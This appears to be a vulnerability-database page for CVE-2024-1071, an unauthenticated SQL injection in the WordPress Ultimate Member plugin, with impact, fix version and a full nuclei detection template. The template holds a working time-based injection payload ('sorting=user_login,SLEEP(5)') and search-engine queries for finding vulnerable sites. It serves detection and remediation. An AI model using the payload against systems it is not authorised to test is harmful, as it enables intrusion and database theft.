HexBrain

Browse / CVEs / CVE-2024-1071

CVE-2024-1071· ultimatemember / ultimate member· CWE-89

WordPress Ultimate Member 2.1.3 - 2.8.2 – SQL Injection

criticalseverity
9.8CVSS score
89.4%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

The Ultimate Member - User Profile, Registration, Login, Member Directory, Content Restriction & Membership Plugin plugin for WordPress is vulnerable to SQL Injection via the ‘sorting’ parameter in versions 2.1.3 to 2.8.2 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

Impact

Unauthenticated attackers can execute time-based SQL injection through the sorting parameter in the member directory to extract the complete WordPress database including user credentials, member profiles, and sensitive site data.

Fix

Fixed in 2.8.3

How to confirm it

Send: GET /?p=1 ; @timeout: 10s
Positive when: duration_2>=5 and status_code_2 == 200 and contains_all(body_2, "current_page", "total_pages")

Run it with nuclei: nuclei -id CVE-2024-1071 -u <target>

The full check
id: CVE-2024-1071

info:
  name: WordPress Ultimate Member 2.1.3 - 2.8.2 – SQL Injection
  author: DhiyaneshDK,iamnooob
  severity: critical
  description: |
    The Ultimate Member - User Profile, Registration, Login, Member Directory, Content Restriction & Membership Plugin plugin for WordPress is vulnerable to SQL Injection via the ‘sorting’ parameter in versions 2.1.3 to 2.8.2 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
  impact: |
    Unauthenticated attackers can execute time-based SQL injection through the sorting parameter in the member directory to extract the complete WordPress database including user credentials, member profiles, and sensitive site data.
  remediation: Fixed in 2.8.3
  reference:
    - https://www.wordfence.com/blog/2024/02/2063-bounty-awarded-for-unauthenticated-sql-injection-vulnerability-patched-in-ultimate-member-wordpress-plugin/
    - https://securityonline.info/cve-2024-1071-wordpress-ultimate-member-plugin-under-active-attack/
    - https://plugins.trac.wordpress.org/browser/ultimate-member/tags/2.8.2/includes/core/class-member-directory-meta.php?rev=3022076
    - https://plugins.trac.wordpress.org/browser/ultimate-member/tags/2.8.2/includes/core/class-member-directory-meta.php?rev=3022076#L666
    - https://plugins.trac.wordpress.org/browser/ultimate-member/tags/2.8.2/includes/core/class-member-directory-meta.php?rev=3022076#L858
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-1071
    cwe-id: CWE-89
    epss-score: 0.89431
    epss-percentile: 0.99787
    cpe: cpe:2.3:a:ultimatemember:ultimate_member:*:*:*:*:wordpress:*:*:*
  metadata:
    verified: true
    max-request: 2
    framework: wordpress
    fofa-query: body="/wp-content/plugins/ultimate-member"
    publicwww-query: "/wp-content/plugins/ultimate-member/"
    zoomeye-query: app="WordPress Ultimate Member Plugin"
    product: ultimate_member
    vendor: ultimatemember
  tags: time-based-sqli,cve,cve2024,ultimate-member,wpscan,wordpress,wp-plugin,sqli,vkev,vuln

http:
  - raw:
      - |
        GET /?p=1 HTTP/1.1
        Host: {{Hostname}}

      - |
        @timeout: 10s
        POST /wp-admin/admin-ajax.php?action=um_get_members HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        directory_id=b9238&sorting=user_login,SLEEP(5)&nonce={{nonce}}

    host-redirects: true

    matchers:
      - type: dsl
        dsl:
          - 'duration_2>=5'
          - 'status_code_2 == 200'
          - 'contains_all(body_2, "current_page", "total_pages")'
        condition: and

    extractors:
      - type: regex
        name: nonce
        part: body
        group: 1
        regex:
          - '"nonce":"([0-9a-z]+)"'
        internal: true

References

Use this check only on systems you are authorised to test. Where the data comes from